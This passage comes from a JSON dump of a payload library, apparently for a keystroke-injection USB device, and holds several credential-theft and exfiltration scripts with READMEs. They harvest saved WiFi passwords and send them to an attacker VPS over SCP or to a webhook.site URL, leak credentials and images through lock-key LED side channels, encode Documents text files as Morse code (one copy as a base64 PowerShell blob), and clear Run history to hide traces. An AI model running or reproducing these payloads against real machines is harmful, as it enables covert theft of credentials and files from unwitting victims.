key=clear) | Select-String \"SSID\", \"Key Content\"; $wifiInfo += [PSCustomObject]@{ ProfileName = $profileName; Password = $profileInfo -replace \".*Key Content            : \", \"\" } }\nDELAY 500\n\nREM Save WiFi information to a file\nSTRINGLN $filePath = \"$env:TEMP\\wifi_profiles.txt\"\nDELAY 500\n\nSTRINGLN $wifiInfo | Format-Table -AutoSize | Out-File -FilePath $filePath\nDELAY 2000\n\nREM Upload the file via SCP to the target server\nSTRINGLN scp -o StrictHostKeyChecking=no $filePath #VPS_USER@#VPS_IP:/home/#VPS_USER/Desktop/wifipass.txt\nDELAY 500\n\nREM Enter the VPS password\nSTRINGLN #VPS_PASS\nDELAY 1000\n\nSTRINGLN EXIT\n"
  },
  {
    "path": "payloads/library/exfiltration/WiFi-Passwords-Exfiltration-Via-SCP/README.md",
    "content": "# WiFi Passwords Exfiltration via SCP\n\n## Author: zb0r\n## Version: 1.0\n\nWelcome to the WiFi Passwords Exfiltration via SCP payload! This payload is designed to find WiFi SSIDs and passwords on a Windows machine, save them to a file, and then exfiltrate the file to your VPS using SCP. It's a handy tool for white-hat penetration testers or anyone needing to gather WiFi credentials for legitimate purposes.\n\n### How It Works\n\n1. **Windows Detection**: The script checks if it's running on a Windows machine.\n2. **PowerShell Execution**: It opens PowerShell in admin mode.\n3. **WiFi Profiles and Passwords**: The script retrieves all WiFi profiles and their respective passwords from the machine.\n4. **Save to File**: It saves this information to a text file in the temporary directory.\n5. **Exfiltrate via SCP**: The file is then securely copied to your VPS using SCP.\n\n### Prerequisites\n\n1. **A VPS**: You'll need a VPS where you can receive the exfiltrated file. If you don't have one, you can set up a simple Linux VPS on platforms like DigitalOcean, AWS, or any provider of your choice.\n2. **Modify the Script**: Before running the payload, replace the placeholder values for the VPS username, password, and IP address with your actual VPS details.\n\n```plaintext\nDEFINE #VPS_IP your_vps_ip\nDEFINE #VPS_USER your_vps_username\nDEFINE #VPS_PASS your_vps_password\nScript Breakdown\nThe script includes the following key parts:\nOpen PowerShell: Opens PowerShell in admin mode.\nRetrieve WiFi Profiles: Runs netsh wlan show profiles to list all WiFi profiles.\nGet WiFi Passwords: Retrieves the password for each profile by running netsh wlan show profile name=$profile key=clear.\nSave to File: Saves the collected information to a text file in the temporary directory.\nSecurely Copy via SCP: Uses SCP with the -o StrictHostKeyChecking=no option to automatically accept new host keys and copies the file to the specified directory on the VPS.\nUsage Instructions\nPrepare the Script: Edit the script to include your VPS details.\nDeploy the Payload: Run the script on the target Windows machine.\nCheck Your VPS: The WiFi credentials file should be securely transferred to your VPS.\nDisclaimer\nThis script is intended for educational purposes and legitimate use only. Unauthorized use of this script on devices you do not own or have explicit permission to test is illegal and unethical. Always ensure you have proper authorization before running any penetration testing tools or scripts.\nEnjoy and happy testing!\n"
  },
  {
    "path": "payloads/library/exfiltration/WifiCredSidechannelExfil/payload.txt",
    "content": "REM WifiProfile Stealer Sidechannel Exfil \nREM HackingMark\nREM Checks OS, if it's Windows, the connected Wifi Creds will be exfiltrated via Sidechannel Exfiltration Technique\nREM Testet on Windows10 and 11\n\nEXTENSION OS_DETECTION\n    REM VERSION 1.0\n\n    REM USB Rubber Ducky Host OS Detection\n    REM Generic OS detection at a high view is a moving target\n    REM results may vary greatly depending \n    REM on a combination of many variables:\n    REM  - number of testing stages\n    REM  - specific devices and versions tested against\n    REM  - number of systems testing for (scope)\n    REM  - detection techniques (passive/invisible/active/hybrid)\n    REM  - overall speed\n    REM  - overall accuracy\n\n    REM TARGET:\n    REM DEFAULT - Windows, Mac, Linux\n    REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n    REM USAGE:\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM Place this extension and the DETECT_OS() before\n    REM you would like to first reference $_OS to execute payload code conditionally\n\n    REM DEPLOYMENT:\n    REM Plug Ducky into host\n\n    REM begin extension options\n    DEFINE VERBOSE FALSE\n    DEFINE ADVANCED_DETECTION FALSE\n    DEFINE STARTUP_DELAY 1500\n    DEFINE RESTART_WAIT 1000\n    DEFINE OS_DETECT_MODE HID\n    DEFINE OS_DETECT_VID VID_05AC\n    DEFINE OS_DETECT_PID PID_021E\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE HOST_RESPONSE_TIMEOUT 1000\n    REM end extension options\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n        DELAY STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n    \n        IF VERBOSE THEN\n            IF ADVANCED_DETECTION THEN\n                STRING ADVANCED OS DETECT\n            ELSE \n                STRING OS DETECT\n            END_IF\n    \n            ENTER\n            STRING test caps\n        END_IF\n    \n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY HOST_RESPONSE_TIMEOUT \n        END_IF\n        LED_OFF\n    \n        IF VERBOSE THEN\n            ENTER\n            STRING test done\n        END_IF\n    \n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF VERBOSE THEN\n                ENTER\n                STRING received led response\n            END_IF\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Windows\n                END_IF\n                $_OS = WINDOWS\n            ELSE\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Linux\n                END_IF\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF VERBOSE THEN\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF\n            $_OS = MACOS\n        END_IF\n    \n        IF ADVANCED_DETECTION THEN\n            IF ( $_OS == LINUX ) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING soft reconnect\n                END_IF\n                ATTACKMODE OFF\n                DELAY RESTART_WAIT\n                ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n                DELAY CONNECT_WAIT\n                IF VERBOSE THEN\n                    ENTER\n                    STRING reconnected\n                END_IF\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF\n                    NUMLOCK\n                    DELAY HOST_RESPONSE_TIMEOUT\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING test done\n                    END_IF\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF\n                        SCROLLLOCK\n                        DELAY HOST_RESPONSE_TIMEOUT\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING test done\n                        END_IF\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF\n                            $_OS = ANDROID\n                        ELSE\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING no scrolllock reply \n                                ENTER\n                                STRING prediction: Linux\n                            END_IF\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF\n                    $_OS = IOS\n                ELSE \n                    IF VERBOSE THEN\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING Confident Windows Prediction\n                END_IF\n                $_OS = WINDOWS\n            END_IF\n        END_IF\n    \n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n        \n        IF VERBOSE THEN\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n\n    REM DETECT_OS()\nEND_EXTENSION\n\n\nDETECT_OS()\n\nIF ($_OS == WINDOWS)\n    ATTACKMODE HID\n    LED_OFF\n    DELAY 2000\n\n    SAVE_HOST_KEYBOARD_LOCK_STATE\n    $_EXFIL_MODE_ENABLED = TRUE\n    $_EXFIL_LEDS_ENABLED = TRUE\n\n    REM Store the currently connected wireless LAN SSID & Key to %tmp%\\z\n    GUI r\n    DELAY 100\n    STRINGLN powershell \n    DELAY 200\n    STRINGLN cd $env:tmp; $B=Get-NetConnectionProfile; $A='.\\WLAN*-'+$B.Name+'.xml'; netsh wlan export profile  key=clear;[XML]$WLAN = Get-Content -Path $A; $Name = $WLAN.WLANProfile.SSIDConfig.SSID.Name; $Pass = $WLAN.WLANProfile.MSM.security.sharedKey.keyMaterial; $Name + \":\" + $Pass > $env:tmp\\z;exit\n    GUI r\n    DELAY 3000\n    STRINGLN powershell \"cd $env:tmp;rm '.\\WLAN*.xml'\"\n    DELAY 200\n\n    REM Convert the stored credentials into CAPSLOCK and NUMLOCK values.\n    GUI r\n    DELAY 100\n    STRING powershell \"foreach($b in $(cat $env:tmp\\z -En by)){foreach($a in 0x80,\n    STRING 0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else\n    STRING {$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\\z\"\n    ENTER\n    DELAY 1000\n\n    REM Use powershell to inject the CAPSLOCK and NUMLOCK values to the Ducky.\n    GUI r\n    DELAY 100\n    STRING powershell \"$o=(cat $env:tmp\\z);Add-Type -A System.Windows.Forms;\n    STRING [System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\\z\"\n    ENTER\n\n\nREM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.\n\n    WAIT_FOR_SCROLL_CHANGE\n    LED_G\n    $_EXFIL_MODE_ENABLED = FALSE\n    RESTORE_HOST_KEYBOARD_LOCK_STATE\nREM Clear Run History\nGUI r\nDELAY 100\nSTRINGLN powershell \"cd HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\; Remove-Item '.\\RunMRU\\'\"\n \nELSE\nREM If it's no Windows Maschine, go into Arming mode\n    ATTACKMODE HID STORAGE\nEND_IF\n"
  },
  {
    "path": "payloads/library/exfiltration/WifiPassGrabberPOST/payload.txt",
    "content": "REM This is a duckyscript to grab WiFi passwords from Windows machine and submit to webserver via POST request.\nREM Tested on Windows 10 Professional (without UAC enabled and a user with local administrator rights).\nREM Script crafted by @Nullsession0x. Credit to @hum4nG0D for the idea.\nREM Remember to replace the URL parameter with your own unique parameter from https://webhook.site/.\nDELAY 3000\nGUI r\nDELAY 100\nSTRING cmd /k\nENTER\nDELAY 500\nSTRING cd %temp%\nENTER\nDELAY 500\nSTRING netsh wlan export profile key=clear\nENTER\nDELAY 1000\nENTER\nSTRING powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > WiFi-PASS\nENTER\nDELAY 1000\nSTRING powershell Invoke-WebRequest -Uri https://webhook.site/URL -Method POST -InFile WiFi-PASS\nENTER\nDELAY 1000\nSTRING del WiFi* /s /f /q\nENTER\nDELAY 100\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/WifiProfileExtractor/payload.txt",
    "content": "REM WifiProfileExtractor \nREM HackingMark\nREM Checks OS, if it's Windows, Wifi Profiles will be exfiltrated to Ducky/Loot.\n\nEXTENSION OS_DETECTION\n    REM VERSION 1.0\n\n    REM USB Rubber Ducky Host OS Detection\n    REM Generic OS detection at a high view is a moving target\n    REM results may vary greatly depending \n    REM on a combination of many variables:\n    REM  - number of testing stages\n    REM  - specific devices and versions tested against\n    REM  - number of systems testing for (scope)\n    REM  - detection techniques (passive/invisible/active/hybrid)\n    REM  - overall speed\n    REM  - overall accuracy\n\n    REM TARGET:\n    REM DEFAULT - Windows, Mac, Linux\n    REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n    REM USAGE:\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM Place this extension and the DETECT_OS() before\n    REM you would like to first reference $_OS to execute payload code conditionally\n\n    REM DEPLOYMENT:\n    REM Plug Ducky into host\n\n    REM begin extension options\n    DEFINE VERBOSE FALSE\n    DEFINE ADVANCED_DETECTION FALSE\n    DEFINE STARTUP_DELAY 1500\n    DEFINE RESTART_WAIT 1000\n    DEFINE OS_DETECT_MODE HID\n    DEFINE OS_DETECT_VID VID_05AC\n    DEFINE OS_DETECT_PID PID_021E\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE HOST_RESPONSE_TIMEOUT 1000\n    REM end extension options\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n        DELAY STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n    \n        IF VERBOSE THEN\n            IF ADVANCED_DETECTION THEN\n                STRING ADVANCED OS DETECT\n            ELSE \n                STRING OS DETECT\n            END_IF\n    \n            ENTER\n            STRING test caps\n        END_IF\n    \n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY HOST_RESPONSE_TIMEOUT \n        END_IF\n        LED_OFF\n    \n        IF VERBOSE THEN\n            ENTER\n            STRING test done\n        END_IF\n    \n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF VERBOSE THEN\n                ENTER\n                STRING received led response\n            END_IF\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Windows\n                END_IF\n                $_OS = WINDOWS\n            ELSE\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Linux\n                END_IF\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF VERBOSE THEN\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF\n            $_OS = MACOS\n        END_IF\n    \n        IF ADVANCED_DETECTION THEN\n            IF ( $_OS == LINUX ) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING soft reconnect\n                END_IF\n                ATTACKMODE OFF\n                DELAY RESTART_WAIT\n                ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n                DELAY CONNECT_WAIT\n                IF VERBOSE THEN\n                    ENTER\n                    STRING reconnected\n                END_IF\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF\n                    NUMLOCK\n                    DELAY HOST_RESPONSE_TIMEOUT\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING test done\n                    END_IF\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF\n                        SCROLLLOCK\n                        DELAY HOST_RESPONSE_TIMEOUT\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING test done\n                        END_IF\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF\n                            $_OS = ANDROID\n                        ELSE\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING no scrolllock reply \n                                ENTER\n                                STRING prediction: Linux\n                            END_IF\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF\n                    $_OS = IOS\n                ELSE \n                    IF VERBOSE THEN\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING Confident Windows Prediction\n                END_IF\n                $_OS = WINDOWS\n            END_IF\n        END_IF\n    \n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n        \n        IF VERBOSE THEN\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n\n    REM DETECT_OS()\nEND_EXTENSION\n\n\nDETECT_OS()\n\nIF ($_OS == WINDOWS)\n    ATTACKMODE HID STORAGE\n    LED_OFF\n    DELAY 5000\nREM Get Ducky Driveletter and Extraxct Wifi Profiles\n    GUI r\n    DELAY 100\n    STRING powershell \"$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\\Loot'; cd $m; netsh wlan export profile key=clear\"\n    DELAY 100\n    ENTER\n    DELAY 500\n\n\nREM Clear Run History\nGUI r\nDELAY 100\nSTRING powershell \"cd HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\; Remove-Item '.\\RunMRU\\'\"\nDELAY 100\nENTER\n \nELSE\n    ATTACKMODE HID STORAGE\nEND_IF\n"
  },
  {
    "path": "payloads/library/exfiltration/Win_Hid_ImgOverKey/payload.txt",
    "content": "DELAY 3000\r\nREM Title: Image over key reflection\r\nREM Author: Cribbit\r\nREM Description: Proof of concept for send an image over key reflection using two methods \r\nREM Target: Windows 10\r\nREM Props: Korban, Darren, I-Am-Jakoby\r\n\r\nREM Config: You will need to change the path to an image at the moment it points to C:\\Users\\{Current user}\\test.jpg\r\n\r\nREM Note: this will take forever a 807 bytes file took about 7 mins.\r\n\r\nATTACKMODE HID\r\nLED_OFF\r\nDELAY 2000\r\nSAVE_HOST_KEYBOARD_LOCK_STATE\r\n$_EXFIL_MODE_ENABLED = TRUE\r\n$_EXFIL_LEDS_ENABLED = TRUE\r\n\r\nGUI r\r\nDELAY 200\r\n\r\nREM The \"string method\" is fast to encode than the check each bit but is 20 char longer.\r\nREM This reads the image by bytes converts each byte to a binary string. Pads the string to 8 zero. then replaces the 1 and 0's with the lock keys \r\nREM UN-REM THE LINE BELOW TO USES\r\nREM STRINGLN powershell \"gc $env:USERPROFILE\\test.jpg -En By|%{$k+=([convert]::ToString($_,2).PadLeft(8,'0')-replace'0','%{CAPSLOCK}'-replace'1','%{NUMLOCK}')};$k+='%{SCROLLLOCK}';Add-Type -A *m.W*s.F*s;[System.Windows.Forms.SendKeys]::SendWait($k)\"\r\n\r\nREM This bit version it is slightly short then the example payload for hak5. \r\nREM By replacing the all hex value that it uses to check each bit agaist each byte. \r\nREM by piping 7 down to 0 then left shifing 1 by this value i.e. 1 -shl 7 = (bin 10000000, hex 80 dec 128) to 1 -shl 0 = (bin 00000001, hex 1 dec 1)\r\nREM UN-REM THE LINE BELOW TO USES\r\nREM STRINGLN powershell \"gc $env:USERPROFILE\\test.jpg -En By|%{$b=$_;7..0|%{if($b-band(1-shl$_)){$k+='%{NUMLOCK}'}else{$k+='%{CAPSLOCK}'}}};$k+='%{SCROLLLOCK}';Add-Type -A *m.W*s.F*s;[System.Windows.Forms.SendKeys]::SendWait($k)\"\r\n\r\n\r\nWAIT_FOR_SCROLL_CHANGE\r\nLED_G\r\n$_EXFIL_MODE_ENABLED = FALSE\r\nRESTORE_HOST_KEYBOARD_LOCK_STATE\r\n\r\nATTACKMODE STORAGE\r\n\r\nREM When storage shows rename the loot.bin extension to the file extension in this case .jpg to view the file."
  },
  {
    "path": "payloads/library/exfiltration/Win_Hid_ImgOverKey/readme.md",
    "content": "# Image over key reflection\r\n- Author: Cribbit\r\n- Version: 1.0\r\n- Target: Windows (Powershell 5.1+)\r\n- Category: exfiltration\r\n- Attackmode: HID then Storage\r\n\r\n## Change Log\r\n| Version | Changes         |\r\n| ------- | --------------- |\r\n| 1.0     | Initial release |\r\n\r\n## Description\r\nProof of concept for send an image over key reflection using two methods of converting bytes to key presses.\r\n\r\n## Config\r\nUn-REM the method to try. And place and image at the C:\\Users\\{Current user}\\test.jpg. \r\nThe smaller image the better a file of 807 bytes took about 7 mins.\r\n\r\n## Props\r\nTo Darren and Korban for all the hard work they have put in to new ducky & key reflection. And for answering my questions i had about the ducky before i had it.\r\nTo I am Jakoby for shorting the System.Windows.Forms bit"
  },
  {
    "path": "payloads/library/exfiltration/Win_PoSH_MorseCode/MorseCodeFileExfiltration.ps1",
    "content": "$o = New-Object -com wscript.shell;\r\n$h = @{ \"1\"=\"39999\"; \"2\"=\"33999\"; \"3\"=\"33399\"; \"4\"=\"33339\"; \"5\"=\"33333\"; \"6\"=\"93333\"; \"7\"=\"99333\"; \"8\"=\"99933\"; \"9\"=\"99993\"; \"0\"=\"99999\"; \"A\"=\"39\"; \"B\"=\"9333\"; \"C\"=\"9393\"; \"D\"=\"933\"; \"E\"=\"3\"; \"F\"=\"3393\"; \"G\"=\"993\"; \"H\"=\"3333\"; \"I\"=\"33\"; \"J\"=\"3999\"; \"K\"=\"939\"; \"L\"=\"3933\"; \"M\"=\"99\"; \"N\"=\"93\"; \"O\"=\"999\"; \"P\"=\"3993\"; \"Q\"=\"9939\"; \"R\"=\"393\"; \"S\"=\"333\"; \"T\"=\"9\"; \"U\"=\"339\"; \"V\"=\"3339\"; \"W\"=\"399\"; \"X\"=\"9339\"; \"Y\"=\"9399\"; \"Z\"=\"9933\" };\r\n$l = '{SCROLLLOCK}';\r\nfunction flashy($t){    \r\n    $o.SendKeys($l);\r\n    sleep -m ([int]$t);\r\n    $o.SendKeys($l);\t\r\n\t#[console]::beep(600,([int]$t));\r\n    sleep -m 300;\r\n}\r\ngci ([Environment]::GetFolderPath('MyDocuments')) -file -r *.txt | % { gc($_.FullName).ToUpper()} | % {$_[0..($_.length)]} | % {\r\n    $v = $h[[string]$_];\r\n    if ($v)\r\n    {\r\n        $v| % {$_[0..($_.length)]} | % {\r\n            flashy((([int]([string]$_))*100));\r\n        }\r\n    }\r\n    elseif ((!$v) -and !(([int]$_) -eq 32))\r\n    {\r\n        flashy(2700);\r\n        $v = ([string]([int]$_));\r\n        $v| % {$_[0..($_.length)]} | % {\r\n            $h[[string]$_] | % {$_[0..($_.length)]} | % {\r\n                flashy((([int]([string]$_))*100));\r\n            }\r\n        }\r\n    }else{ \r\n        sleep -m 1200;\r\n    }\r\n    sleep -m 600;\r\n }"
  },
  {
    "path": "payloads/library/exfiltration/Win_PoSH_MorseCode/b.txt",
    "content": "JABvACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAdwBzAGMAcgBpAHAAdAAuAHMAaABlAGwAbAA7ACAAJABoACAAPQAgAEAAewAgACIAMQAiAD0AIgAzADkAOQA5ADkAIgA7ACAAIgAyACIAPQAiADMAMwA5ADkAOQAiADsAIAAiADMAIgA9ACIAMwAzADMAOQA5ACIAOwAgACIANAAiAD0AIgAzADMAMwAzADkAIgA7ACAAIgA1ACIAPQAiADMAMwAzADMAMwAiADsAIAAiADYAIgA9ACIAOQAzADMAMwAzACIAOwAgACIANwAiAD0AIgA5ADkAMwAzADMAIgA7ACAAIgA4ACIAPQAiADkAOQA5ADMAMwAiADsAIAAiADkAIgA9ACIAOQA5ADkAOQAzACIAOwAgACIAMAAiAD0AIgA5ADkAOQA5ADkAIgA7ACAAIgBBACIAPQAiADMAOQAiADsAIAAiAEIAIgA9ACIAOQAzADMAMwAiADsAIAAiAEMAIgA9ACIAOQAzADkAMwAiADsAIAAiAEQAIgA9ACIAOQAzADMAIgA7ACAAIgBFACIAPQAiADMAIgA7ACAAIgBGACIAPQAiADMAMwA5ADMAIgA7ACAAIgBHACIAPQAiADkAOQAzACIAOwAgACIASAAiAD0AIgAzADMAMwAzACIAOwAgACIASQAiAD0AIgAzADMAIgA7ACAAIgBKACIAPQAiADMAOQA5ADkAIgA7ACAAIgBLACIAPQAiADkAMwA5ACIAOwAgACIATAAiAD0AIgAzADkAMwAzACIAOwAgACIATQAiAD0AIgA5ADkAIgA7ACAAIgBOACIAPQAiADkAMwAiADsAIAAiAE8AIgA9ACIAOQA5ADkAIgA7ACAAIgBQACIAPQAiADMAOQA5ADMAIgA7ACAAIgBRACIAPQAiADkAOQAzADkAIgA7ACAAIgBSACIAPQAiADMAOQAzACIAOwAgACIAUwAiAD0AIgAzADMAMwAiADsAIAAiAFQAIgA9ACIAOQAiADsAIAAiAFUAIgA9ACIAMwAzADkAIgA7ACAAIgBWACIAPQAiADMAMwAzADkAIgA7ACAAIgBXACIAPQAiADMAOQA5ACIAOwAgACIAWAAiAD0AIgA5ADMAMwA5ACIAOwAgACIAWQAiAD0AIgA5ADMAOQA5ACIAOwAgACIAWgAiAD0AIgA5ADkAMwAzACIAIAB9ADsAIAAkAGwAIAA9ACAAJwB7AFMAQwBSAE8ATABMAEwATwBDAEsAfQAnADsAIABmAHUAbgBjAHQAaQBvAG4AIABmAGwAYQBzAGgAeQAoACQAdAApAHsAIAAgACAAIAAgACAAIAAgACAAJABvAC4AUwBlAG4AZABLAGUAeQBzACgAJABsACkAOwAgACAAIAAgACAAcwBsAGUAZQBwACAALQBtACAAKABbAGkAbgB0AF0AJAB0ACkAOwAgACAAIAAgACAAJABvAC4AUwBlAG4AZABLAGUAeQBzACgAJABsACkAOwAgACAAIAAgACAAcwBsAGUAZQBwACAALQBtACAAMwAwADAAOwAgAH0AIABnAGMAaQAgACgAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACcATQB5AEQAbwBjAHUAbQBlAG4AdABzACcAKQApACAALQBmAGkAbABlACAALQByACAAKgAuAHQAeAB0ACAAfAAgACUAIAB7ACAAZwBjACgAJABfAC4ARgB1AGwAbABOAGEAbQBlACkALgBUAG8AVQBwAHAAZQByACgAKQB9ACAAfAAgACUAIAB7ACQAXwBbADAALgAuACgAJABfAC4AbABlAG4AZwB0AGgAKQBdAH0AIAB8ACAAJQAgAHsAIAAgACAAIAAgACQAdgAgAD0AIAAkAGgAWwBbAHMAdAByAGkAbgBnAF0AJABfAF0AOwAgACAAIAAgACAAaQBmACAAKAAkAHYAKQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAHYAfAAgACUAIAB7ACQAXwBbADAALgAuACgAJABfAC4AbABlAG4AZwB0AGgAKQBdAH0AIAB8ACAAJQAgAHsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAGwAYQBzAGgAeQAoACgAKABbAGkAbgB0AF0AKABbAHMAdAByAGkAbgBnAF0AJABfACkAKQAqADEAMAAwACkAKQA7ACAAIAAgACAAIAAgACAAIAAgAH0AIAAgACAAIAAgAH0AIAAgACAAIAAgAGUAbABzAGUAaQBmACAAKAAoACEAJAB2ACkAIAAtAGEAbgBkACAAIQAoACgAWwBpAG4AdABdACQAXwApACAALQBlAHEAIAAzADIAKQApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgAGYAbABhAHMAaAB5ACgAMgA3ADAAMAApADsAIAAgACAAIAAgACAAIAAgACAAJAB2ACAAPQAgACgAWwBzAHQAcgBpAG4AZwBdACgAWwBpAG4AdABdACQAXwApACkAOwAgACAAIAAgACAAIAAgACAAIAAkAHYAfAAgACUAIAB7ACQAXwBbADAALgAuACgAJABfAC4AbABlAG4AZwB0AGgAKQBdAH0AIAB8ACAAJQAgAHsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGgAWwBbAHMAdAByAGkAbgBnAF0AJABfAF0AIAB8ACAAJQAgAHsAJABfAFsAMAAuAC4AKAAkAF8ALgBsAGUAbgBnAHQAaAApAF0AfQAgAHwAIAAlACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBsAGEAcwBoAHkAKAAoACgAWwBpAG4AdABdACgAWwBzAHQAcgBpAG4AZwBdACQAXwApACkAKgAxADAAMAApACkAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIAAgACAAfQAgACAAIAAgACAAfQBlAGwAcwBlAHsAIAAgACAAIAAgACAAIAAgACAAIABzAGwAZQBlAHAAIAAtAG0AIAAxADIAMAAwADsAIAAgACAAIAAgAH0AIAAgACAAIAAgAHMAbABlAGUAcAAgAC0AbQAgADYAMAAwADsAIAAgAH0A"
  },
  {
    "path": "payloads/library/exfiltration/Win_PoSH_MorseCode/payload.txt",
